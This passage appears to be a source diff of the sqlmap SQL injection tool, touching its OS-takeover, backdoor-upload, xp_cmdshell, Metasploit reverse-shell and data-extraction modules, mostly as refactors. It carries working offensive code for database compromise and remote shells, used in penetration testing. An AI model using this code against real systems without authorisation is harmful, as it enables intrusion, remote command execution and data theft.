from lib.takeover.web import Web
from lib.takeover.xp_cmdshell import XP_cmdshell
class Abstraction(Web, UDF, XP_cmdshell):
"""
This class defines an abstraction layer for OS takeover functionalities
@@ -172,9 +171,9 @@ class Abstraction(Web, UDF, XP_cmdshell):
inject.goStacked(expression)
# TODO: add support for PostgreSQL
#elif Backend.isDbms(DBMS.PGSQL):
# expression = getSQLSnippet(DBMS.PGSQL, "configure_dblink", ENABLE="1")
# inject.goStacked(expression)
# elif Backend.isDbms(DBMS.PGSQL):
# expression = getSQLSnippet(DBMS.PGSQL, "configure_dblink", ENABLE="1")
# inject.goStacked(expression)
def initEnv(self, mandatory=True, detailed=False, web=False, forceInit=False):
self._initRunAs()

View File

@@ -81,6 +81,7 @@ class Metasploit:
_ = normalizePath(os.path.join(_, ".."))
if _ == old:
break
self._msfCli = "%s & ruby %s" % (_, self._msfCli)
self._msfConsole = "%s & ruby %s" % (_, self._msfConsole)
self._msfEncode = "ruby %s" % self._msfEncode
@@ -88,60 +89,60 @@ class Metasploit:
self._msfVenom = "%s & ruby %s" % (_, self._msfVenom)
self._msfPayloadsList = {
"windows": {
1: ("Meterpreter (default)", "windows/meterpreter"),
2: ("Shell", "windows/shell"),
3: ("VNC", "windows/vncinject"),
},
"linux": {
1: ("Shell (default)", "linux/x86/shell"),
2: ("Meterpreter (beta)", "linux/x86/meterpreter"),
}
}
"windows": {
1: ("Meterpreter (default)", "windows/meterpreter"),
2: ("Shell", "windows/shell"),
3: ("VNC", "windows/vncinject"),
},
"linux": {
1: ("Shell (default)", "linux/x86/shell"),
2: ("Meterpreter (beta)", "linux/x86/meterpreter"),
}
}
self._msfConnectionsList = {
"windows": {
1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"),
2: ("Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports"),
3: ("Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP", "reverse_http"),
4: ("Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS", "reverse_https"),
5: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"),
},
"linux": {
1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"),
2: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"),
}
}
"windows": {
1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"),
2: ("Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports"),
3: ("Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP", "reverse_http"),
4: ("Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS", "reverse_https"),
5: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"),
},
"linux": {
1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"),
2: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"),
}
}
self._msfEncodersList = {
"windows": {
1: ("No Encoder", "generic/none"),
2: ("Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed"),
3: ("Alpha2 Alphanumeric Uppercase Encoder", "x86/alpha_upper"),
4: ("Avoid UTF8/tolower", "x86/avoid_utf8_tolower"),
5: ("Call+4 Dword XOR Encoder", "x86/call4_dword_xor"),
6: ("Single-byte XOR Countdown Encoder", "x86/countdown"),
7: ("Variable-length Fnstenv/mov Dword XOR Encoder", "x86/fnstenv_mov"),
8: ("Polymorphic Jump/Call XOR Additive Feedback Encoder", "x86/jmp_call_additive"),
9: ("Non-Alpha Encoder", "x86/nonalpha"),
10: ("Non-Upper Encoder", "x86/nonupper"),
11: ("Polymorphic XOR Additive Feedback Encoder (default)", "x86/shikata_ga_nai"),
12: ("Alpha2 Alphanumeric Unicode Mixedcase Encoder", "x86/unicode_mixed"),
13: ("Alpha2 Alphanumeric Unicode Uppercase Encoder", "x86/unicode_upper"),
}
}
"windows": {
1: ("No Encoder", "generic/none"),
2: ("Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed"),
3: ("Alpha2 Alphanumeric Uppercase Encoder", "x86/alpha_upper"),
4: ("Avoid UTF8/tolower", "x86/avoid_utf8_tolower"),
5: ("Call+4 Dword XOR Encoder", "x86/call4_dword_xor"),
6: ("Single-byte XOR Countdown Encoder", "x86/countdown"),
7: ("Variable-length Fnstenv/mov Dword XOR Encoder", "x86/fnstenv_mov"),
8: ("Polymorphic Jump/Call XOR Additive Feedback Encoder", "x86/jmp_call_additive"),
9: ("Non-Alpha Encoder", "x86/nonalpha"),
10: ("Non-Upper Encoder", "x86/nonupper"),
11: ("Polymorphic XOR Additive Feedback Encoder (default)", "x86/shikata_ga_nai"),
12: ("Alpha2 Alphanumeric Unicode Mixedcase Encoder", "x86/unicode_mixed"),
13: ("Alpha2 Alphanumeric Unicode Uppercase Encoder", "x86/unicode_upper"),
}
}
self._msfSMBPortsList = {
"windows": {
1: ("139/TCP", "139"),
2: ("445/TCP (default)", "445"),
}
}
"windows": {
1: ("139/TCP", "139"),
2: ("445/TCP (default)", "445"),
}
}
self._portData = {
"bind": "remote port number",
"reverse": "local port number",
}
"bind": "remote port number",
"reverse": "local port number",
}
def _skeletonSelection(self, msg, lst=None, maxValue=1, default=1):
if Backend.isOs(OS.WINDOWS):
@@ -484,10 +485,13 @@ class Metasploit:
send_all(proc, "use espia\n")
send_all(proc, "use incognito\n")
# This extension is loaded by default since Metasploit > 3.7
#send_all(proc, "use priv\n")
# This extension freezes the connection on 64-bit systems
#send_all(proc, "use sniffer\n")
# This extension is loaded by default since Metasploit > 3.7:
# send_all(proc, "use priv\n")
# This extension freezes the connection on 64-bit systems:
# send_all(proc, "use sniffer\n")
send_all(proc, "sysinfo\n")
send_all(proc, "getuid\n")
@@ -671,13 +675,10 @@ class Metasploit:
written = self.writeFile(self.shellcodeexecLocal, self.shellcodeexecRemote, "binary", forceCheck=True)
if written is not True:
errMsg = "there has been a problem uploading shellcodeexec, it "
errMsg = "there has been a problem uploading shellcodeexec. It "
errMsg += "looks like the binary file has not been written "
errMsg += "on the database underlying file system or an AV has "
errMsg += "flagged it as malicious and removed it. In such a case "
errMsg += "it is recommended to recompile shellcodeexec with "
errMsg += "slight modification to the source code or pack it "
errMsg += "with an obfuscator software"
errMsg += "flagged it as malicious and removed it"
logger.error(errMsg)
return False

View File

@@ -33,19 +33,19 @@ class Registry:
readParse = "REG QUERY \"" + self._regKey + "\" /v \"" + self._regValue + "\""
self._batRead = (
"@ECHO OFF\r\n",
readParse,
)
"@ECHO OFF\r\n",
readParse,
)
self._batAdd = (
"@ECHO OFF\r\n",
"REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self._regKey, self._regValue, self._regType, self._regData),
)
"@ECHO OFF\r\n",
"REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self._regKey, self._regValue, self._regType, self._regData),
)
self._batDel = (
"@ECHO OFF\r\n",
"REG DELETE \"%s\" /v \"%s\" /f" % (self._regKey, self._regValue),
)
"@ECHO OFF\r\n",
"REG DELETE \"%s\" /v \"%s\" /f" % (self._regKey, self._regValue),
)
def _createLocalBatchFile(self):
self._batPathFp = open(self._batPathLocal, "w")

View File

@@ -108,7 +108,7 @@ class UDF:
return output
def udfCheckNeeded(self):
if (not conf.rFile or (conf.rFile and not Backend.isDbms(DBMS.PGSQL))) and "sys_fileread" in self.sysUdfs:
if (not conf.fileRead or (conf.fileRead and not Backend.isDbms(DBMS.PGSQL))) and "sys_fileread" in self.sysUdfs:
self.sysUdfs.pop("sys_fileread")
if not conf.osPwn:

View File

@@ -47,11 +47,12 @@ from lib.core.enums import WEB_API
from lib.core.exception import SqlmapNoneDataException
from lib.core.settings import BACKDOOR_RUN_CMD_TIMEOUT
from lib.core.settings import EVENTVALIDATION_REGEX
from lib.core.settings import SHELL_RUNCMD_EXE_TAG
from lib.core.settings import SHELL_WRITABLE_DIR_TAG
from lib.core.settings import VIEWSTATE_REGEX
from lib.request.connect import Connect as Request
from thirdparty.oset.pyoset import oset
class Web:
"""
This class defines web-oriented OS takeover functionalities for
@@ -110,10 +111,10 @@ class Web:
if self.webApi in getPublicTypeMembers(WEB_API, True):
multipartParams = {
"upload": "1",
"file": stream,
"uploadDir": directory,
}
"upload": "1",
"file": stream,
"uploadDir": directory,
}
if self.webApi == WEB_API.ASPX:
multipartParams['__EVENTVALIDATION'] = kb.data.__EVENTVALIDATION
@@ -134,7 +135,7 @@ class Web:
def _webFileInject(self, fileContent, fileName, directory):
outFile = posixpath.join(ntToPosixSlashes(directory), fileName)
uplQuery = getUnicode(fileContent).replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
uplQuery = getUnicode(fileContent).replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
query = ""
if isTechniqueAvailable(kb.technique):
@@ -218,7 +219,7 @@ class Web:
finally:
been.add(url)
url = re.sub(r"(\.\w+)\Z", "~\g<1>", conf.url)
url = re.sub(r"(\.\w+)\Z", r"~\g<1>", conf.url)
if url not in been:
try:
page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
@@ -230,7 +231,7 @@ class Web:
for place in (PLACE.GET, PLACE.POST):
if place in conf.parameters:
value = re.sub(r"(\A|&)(\w+)=", "\g<2>[]=", conf.parameters[place])
value = re.sub(r"(\A|&)(\w+)=", r"\g<2>[]=", conf.parameters[place])
if "[]" in value:
page, headers, _ = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
@@ -242,12 +243,12 @@ class Web:
cookie = headers[HTTP_HEADER.SET_COOKIE]
if cookie:
value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie)
value = re.sub(r"(\A|;)(\w+)=[^;]*", r"\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie)
if value != cookie:
page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=", cookie)
value = re.sub(r"(\A|;)(\w+)=[^;]*", r"\g<2>=", cookie)
if value != cookie:
page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
@@ -257,6 +258,7 @@ class Web:
directories = list(oset(directories))
path = urlparse.urlparse(conf.url).path or '/'
path = re.sub(r"/[^/]*\.\w+\Z", '/', path)
if path != '/':
_ = []
for directory in directories:
@@ -324,7 +326,7 @@ class Web:
with open(filename, "w+b") as f:
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webApi))
_ = _.replace("WRITABLE_DIR", utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory))
_ = _.replace(SHELL_WRITABLE_DIR_TAG, utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory))
f.write(_)
self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
@@ -369,7 +371,7 @@ class Web:
continue
_ = "tmpe%s.exe" % randomStr(lowercase=True)
if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)):
if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace(SHELL_WRITABLE_DIR_TAG, backdoorDirectory).replace(SHELL_RUNCMD_EXE_TAG, _)):
self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_"))
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = backdoorDirectory

View File

@@ -24,6 +24,7 @@ from lib.core.convert import hexencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.decorators import stackedmethod
from lib.core.enums import CHARSET_TYPE
from lib.core.enums import DBMS
from lib.core.enums import EXPECTED
@@ -96,6 +97,7 @@ class XP_cmdshell:
return wasLastResponseDelayed()
@stackedmethod
def _xpCmdshellTest(self):
threadData = getCurrentThreadData()
pushValue(threadData.disableStdOut)
@@ -134,7 +136,7 @@ class XP_cmdshell:
for line in lines:
echoedLine = "echo %s " % line
echoedLine += ">> \"%s\%s\"" % (tmpPath, randDestFile)
echoedLine += ">> \"%s\\%s\"" % (tmpPath, randDestFile)
echoedLines.append(echoedLine)
for echoedLine in echoedLines:
@@ -214,7 +216,7 @@ class XP_cmdshell:
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
output = inject.getValue(query, resumeValue=False, blind=False, time=False)
if (output is None) or len(output)==0 or output[0] is None:
if (output is None) or len(output) == 0 or output[0] is None:
output = []
count = inject.getValue("SELECT COUNT(id) FROM %s" % self.cmdTblName, resumeValue=False, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

View File

@@ -69,6 +69,9 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
finalValue = None
retrievedLength = 0
if payload is None:
return 0, None
if charsetType is None and conf.charset:
asciiTbl = sorted(set(ord(_) for _ in conf.charset))
else:
@@ -187,7 +190,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
with hintlock:
hintValue = kb.hintValue
if hintValue is not None and len(hintValue) >= idx:
if payload is not None and hintValue is not None and len(hintValue) >= idx:
if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2):
posValue = hintValue[idx - 1]
else:
@@ -223,7 +226,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
if result and timeBasedCompare:
if result and timeBasedCompare and kb.injection.data[kb.technique].trueCode:
result = threadData.lastCode == kb.injection.data[kb.technique].trueCode
if not result:
warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, kb.injection.data[kb.technique].trueCode)
@@ -469,7 +472,6 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
currentCharIndex = threadData.shared.index[0]
if kb.threadContinue:
start = time.time()
val = getChar(currentCharIndex, asciiTbl, not(charsetType is None and conf.charset))
if val is None:
val = INFERENCE_UNKNOWN_CHAR
@@ -482,7 +484,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
if kb.threadContinue:
if showEta:
progress.progress(calculateDeltaSeconds(start), threadData.shared.index[0])
progress.progress(threadData.shared.index[0])
elif conf.verbose >= 1:
startCharIndex = 0
endCharIndex = 0
@@ -499,7 +501,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
count = threadData.shared.start
for i in xrange(startCharIndex, endCharIndex + 1):
output += '_' if currentValue[i] is None else currentValue[i]
output += '_' if currentValue[i] is None else filterControlChars(currentValue[i] if len(currentValue[i]) == 1 else ' ', replacement=' ')
for i in xrange(length):
count += 1 if currentValue[i] is not None else 0
@@ -516,7 +518,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
status = ' %d/%d (%d%%)' % (_, length, int(100.0 * _ / length))
output += status if _ != length else " " * len(status)
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output)))
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), output))
runThreads(numThreads, blindThread, startThreadMsg=False)
@@ -550,7 +552,6 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
while True:
index += 1
start = time.time()
# Common prediction feature (a.k.a. "good samaritan")
# NOTE: to be used only when multi-threading is not set for
@@ -575,7 +576,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
# Did we have luck?
if result:
if showEta:
progress.progress(calculateDeltaSeconds(start), len(commonValue))
progress.progress(len(commonValue))
elif conf.verbose in (1, 2) or conf.api:
dataToStdout(filterControlChars(commonValue[index - 1:]))
@@ -611,7 +612,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
# If we had no luck with commonValue and common charset,
# use the returned other charset
if not val:
val = getChar(index, otherCharset, otherCharset==asciiTbl)
val = getChar(index, otherCharset, otherCharset == asciiTbl)
else:
val = getChar(index, asciiTbl, not(charsetType is None and conf.charset))
@@ -625,7 +626,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
threadData.shared.value = partialValue = partialValue + val
if showEta:
progress.progress(calculateDeltaSeconds(start), index)
progress.progress(index)
elif conf.verbose in (1, 2) or conf.api:
dataToStdout(filterControlChars(val))

View File

@@ -14,7 +14,6 @@ from lib.core.dicts import FROM_DUMMY_TABLE
from lib.core.exception import SqlmapNotVulnerableException
from lib.techniques.dns.use import dnsUse
def dnsTest(payload):
logger.info("testing for data retrieval through DNS channel")

View File

@@ -33,7 +33,6 @@ from lib.core.settings import PARTIAL_VALUE_MARKER
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
def dnsUse(payload, expression):
"""
Retrieve the output of a SQL query taking advantage of the DNS
@@ -84,7 +83,7 @@ def dnsUse(payload, expression):
_ = conf.dnsServer.pop(prefix, suffix)
if _:
_ = extractRegexResult("%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I)
_ = extractRegexResult(r"%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I)
_ = decodeHexValue(_)
output = (output or "") + _
offset += len(_)

View File

@@ -16,6 +16,7 @@ from lib.core.common import calculateDeltaSeconds
from lib.core.common import dataToStdout
from lib.core.common import decodeHexValue
from lib.core.common import extractRegexResult
from lib.core.common import firstNotNone
from lib.core.common import getConsoleWidth
from lib.core.common import getPartRun
from lib.core.common import getUnicode
@@ -102,7 +103,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
try:
while True:
check = r"(?si)%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
trimcheck = r"(?si)%s(?P<result>[^<\n]*)" % kb.chars.start
trimCheck = r"(?si)%s(?P<result>[^<\n]*)" % kb.chars.start
if field:
nulledCastedField = agent.nullAndCastField(field)
@@ -133,20 +134,22 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
# Parse the returned page to get the exact error-based
# SQL injection output
output = reduce(lambda x, y: x if x is not None else y, (\
extractRegexResult(check, page), \
extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None), \
extractRegexResult(check, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)), \
extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)), \
None)
output = firstNotNone(
extractRegexResult(check, page),
extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None),
extractRegexResult(check, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)),
extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)
)
if output is not None:
output = getUnicode(output)
else:
trimmed = extractRegexResult(trimcheck, page) \
or extractRegexResult(trimcheck, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None) \
or extractRegexResult(trimcheck, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)) \
or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)
trimmed = firstNotNone(
extractRegexResult(trimCheck, page),
extractRegexResult(trimCheck, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None),
extractRegexResult(trimCheck, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)),
extractRegexResult(trimCheck, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)
)
if trimmed:
if not chunkTest:
@@ -160,7 +163,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
output = extractRegexResult(check, trimmed, re.IGNORECASE)
if not output:
check = "(?P<result>[^\s<>'\"]+)"
check = r"(?P<result>[^\s<>'\"]+)"
output = extractRegexResult(check, trimmed, re.IGNORECASE)
else:
output = output.rstrip()
@@ -308,12 +311,7 @@ def errorUse(expression, dump=False):
# entry at a time
# NOTE: we assume that only queries that get data from a table can
# return multiple entries
if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in \
expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) \
or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \
expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) \
and not re.search(SQL_SCALAR_REGEX, expression, re.I):
if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)
if limitCond:
@@ -404,7 +402,6 @@ def errorUse(expression, dump=False):
while kb.threadContinue:
with kb.locks.limit:
try:
valueStart = time.time()
threadData.shared.counter += 1
num = threadData.shared.limits.next()
except StopIteration:
@@ -416,12 +413,12 @@ def errorUse(expression, dump=False):
break
if output and isListLike(output) and len(output) == 1:
output = output[0]
output = unArrayizeValue(output)
with kb.locks.value:
index = None
if threadData.shared.showEta:
threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter)
threadData.shared.progress.progress(threadData.shared.counter)
for index in xrange(1 + len(threadData.shared.buffered)):
if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num:
break
@@ -448,7 +445,7 @@ def errorUse(expression, dump=False):
value = _errorFields(expression, expressionFields, expressionFieldsList)
if value and isListLike(value) and len(value) == 1 and isinstance(value[0], basestring):
value = value[0]
value = unArrayizeValue(value)
duration = calculateDeltaSeconds(start)

View File

@@ -27,6 +27,7 @@ from lib.core.common import wasLastResponseDBMSError
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.decorators import stackedmethod
from lib.core.dicts import FROM_DUMMY_TABLE
from lib.core.enums import PAYLOAD
from lib.core.settings import LIMITED_ROWS_TEST_NUMBER
@@ -48,15 +49,16 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
"""
retVal = None
def _orderByTechnique():
@stackedmethod
def _orderByTechnique(lowerCount=None, upperCount=None):
def _orderByTest(cols):
query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix)
query = agent.suffixQuery(query, suffix=suffix, comment=comment)
payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where)
page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False)
return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order by", "unknown column", "failed")) and comparison(page, headers, code) or re.search(r"data types cannot be compared or sorted", page or "", re.I)
return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order by", "unknown column", "failed")) and not kb.heavilyDynamic and comparison(page, headers, code) or re.search(r"data types cannot be compared or sorted", page or "", re.I) is not None
if _orderByTest(1) and not _orderByTest(randomInt()):
if _orderByTest(1 if lowerCount is None else lowerCount) and not _orderByTest(randomInt() if upperCount is None else upperCount + 1):
infoMsg = "'ORDER BY' technique appears to be usable. "
infoMsg += "This should reduce the time needed "
infoMsg += "to find the right number "
@@ -64,10 +66,10 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
infoMsg += "range for current UNION query injection technique test"
singleTimeLogMessage(infoMsg)
lowCols, highCols = 1, ORDER_BY_STEP
lowCols, highCols = 1 if lowerCount is None else lowerCount, ORDER_BY_STEP if upperCount is None else upperCount
found = None
while not found:
if _orderByTest(highCols):
if not conf.uCols and _orderByTest(highCols):
lowCols = highCols
highCols += ORDER_BY_STEP
else:
@@ -88,8 +90,8 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
kb.errorIsNone = False
lowerCount, upperCount = conf.uColsStart, conf.uColsStop
if lowerCount == 1:
found = kb.orderByColumns or _orderByTechnique()
if kb.orderByColumns is None and (lowerCount == 1 or conf.uCols): # ORDER BY is not bullet-proof
found = _orderByTechnique(lowerCount, upperCount) if conf.uCols else _orderByTechnique()
if found:
kb.orderByColumns = found
infoMsg = "target URL appears to have %d column%s in query" % (found, 's' if found > 1 else "")
@@ -114,10 +116,10 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
items.append((count, ratio))
if not isNullValue(kb.uChar):
for regex in (kb.uChar, r'>\s*%s\s*<' % kb.uChar):
contains = tuple((count, re.search(regex, _ or "", re.IGNORECASE) is not None) for count, _ in pages.items())
if len(filter(lambda _: _[1], contains)) == 1:
retVal = filter(lambda _: _[1], contains)[0][0]
for regex in (kb.uChar.strip("'"), r'>\s*%s\s*<' % kb.uChar.strip("'")):
contains = [count for count, content in pages.items() if re.search(regex, content or "", re.IGNORECASE) is not None]
if len(contains) == 1:
retVal = contains[0]
break
if not retVal:
@@ -142,14 +144,16 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE:
deviation = stdev(ratios)
lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation
if min_ < lower:
retVal = minItem[0]
if deviation is not None:
lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation
if max_ > upper:
if retVal is None or abs(max_ - upper) > abs(min_ - lower):
retVal = maxItem[0]
if min_ < lower:
retVal = minItem[0]
if max_ > upper:
if retVal is None or abs(max_ - upper) > abs(min_ - lower):
retVal = maxItem[0]
finally:
kb.errorIsNone = popValue()
@@ -263,6 +267,8 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
validPayload = None
vector = None
orderBy = kb.orderByColumns
uChars = (conf.uChar, kb.uChar)
# In case that user explicitly stated number of columns affected
if conf.uColsStop == conf.uColsStart:
@@ -297,6 +303,10 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
if not all((validPayload, vector)) and not warnMsg.endswith("consider "):
singleTimeWarnMessage(warnMsg)
if count and orderBy is None and kb.orderByColumns is not None: # discard ORDER BY results (not usable - e.g. maybe invalid altogether)
conf.uChar, kb.uChar = uChars
validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
return validPayload, vector
def unionTest(comment, place, parameter, value, prefix, suffix):

View File

@@ -19,6 +19,7 @@ from lib.core.common import calculateDeltaSeconds
from lib.core.common import clearConsoleLine
from lib.core.common import dataToStdout
from lib.core.common import extractRegexResult
from lib.core.common import firstNotNone
from lib.core.common import flattenValue
from lib.core.common import getConsoleWidth
from lib.core.common import getPartRun
@@ -44,6 +45,7 @@ from lib.core.data import logger
from lib.core.data import queries
from lib.core.dicts import FROM_DUMMY_TABLE
from lib.core.enums import DBMS
from lib.core.enums import HTTP_HEADER
from lib.core.enums import PAYLOAD
from lib.core.exception import SqlmapDataException
from lib.core.exception import SqlmapSyntaxException
@@ -89,11 +91,10 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
# Parse the returned page to get the exact UNION-based
# SQL injection output
def _(regex):
return reduce(lambda x, y: x if x is not None else y, (\
extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \
extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \
if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \
None)
return firstNotNone(
extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE),
extractRegexResult(regex, removeReflectiveValues(listToStrValue((_ for _ in headers.headers if not _.startswith(HTTP_HEADER.URI)) if headers else None), payload, True), re.DOTALL | re.IGNORECASE)
)
# Automatically patching last char trimming cases
if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""):
@@ -236,13 +237,7 @@ def unionUse(expression, unpack=True, dump=False):
# SQL limiting the query output one entry at a time
# NOTE: we assume that only queries that get data from a table can
# return multiple entries
if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \
kb.forcePartialUnion or \
(dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and \
" FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE \
and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
and not re.search(SQL_SCALAR_REGEX, expression, re.I):
